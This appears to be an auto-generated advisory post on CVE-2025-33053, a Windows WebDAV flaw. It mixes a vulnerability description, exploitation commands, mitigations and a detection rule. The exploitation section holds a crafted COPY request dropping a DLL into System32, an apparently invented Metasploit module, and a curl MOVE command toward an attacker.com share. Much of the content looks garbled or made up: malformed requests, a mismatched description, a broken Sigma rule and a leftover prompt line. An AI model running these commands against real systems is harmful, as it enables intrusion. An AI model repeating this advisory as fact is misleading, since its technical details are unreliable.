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How the CVE Works:
CVE-2025-33053 is a critical vulnerability in Microsoft Windows WebDAV (Web Distributed Authoring and Versioning) that allows an attacker to manipulate file paths remotely. By exploiting improper input validation in WebDAV requests, an attacker can force the server to access or execute malicious files outside the intended directory. This occurs due to insufficient sanitization of user-supplied paths, leading to arbitrary code execution with SYSTEM privileges. The attack vector is network-based, requiring no authentication, making it highly dangerous for exposed servers. Successful exploitation could lead to full system compromise, data theft, or ransomware deployment.
DailyCVE Form:
Platform: Microsoft Windows
Version: Server 2008-2012, Win10 1507
Vulnerability: WebDAV Path Traversal
Severity: Critical
Date: 2025-06-10
Prediction: Patch by 2025-07-01
What Undercode Say:
Exploitation:
1. Craft malicious WebDAV request:
COPY /webdav/ HTTP/1.1 Host: victim.com Destination: C:\Windows\System32\malicious.dll
2. Use Metasploit module (if available):
use exploit/windows/webdav/cve_2025_33053 set RHOSTS victim.com exploit
3. Manual exploitation via curl:
curl -X MOVE -H "Destination: \attacker.com\share\evil.exe" http://victim.com/webdav/
Protection:
1. Disable WebDAV if unused:
Disable-WindowsOptionalFeature -Online -FeatureName "WebDAV-Client"
2. Apply Microsoft patch (KBXXXXXX) post-release.
3. Restrict WebDAV to internal networks via firewall:
netsh advfirewall firewall add rule name="Block WebDAV" dir=in action=block protocol=TCP localport=80,443
4. Enable strict path validation in IIS (if applicable):
<security> <requestFiltering allowDoubleEscaping="false" /> </security>
5. Monitor logs for suspicious WebDAV activity:
Get-WinEvent -LogName "Microsoft-Windows-WebDAV/Operational" | Where-Object { $_.Message -match "COPY|MOVE" }
Detection (YARA/Sigma):
WebDAV Path Traversal Exploit Attempt description: Detects CVE-2025-33053 exploitation logsource: product: windows service: webdav detection: keywords: - "Destination: C:\Windows\" - "Destination: \\" condition: keywords
Post-Exploit Mitigation:
- Isolate compromised systems.
- Revoke exposed credentials.
- Deploy EDR rules to block WebDAV-based lateral movement.
No additional commentary beyond the provided instructions.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
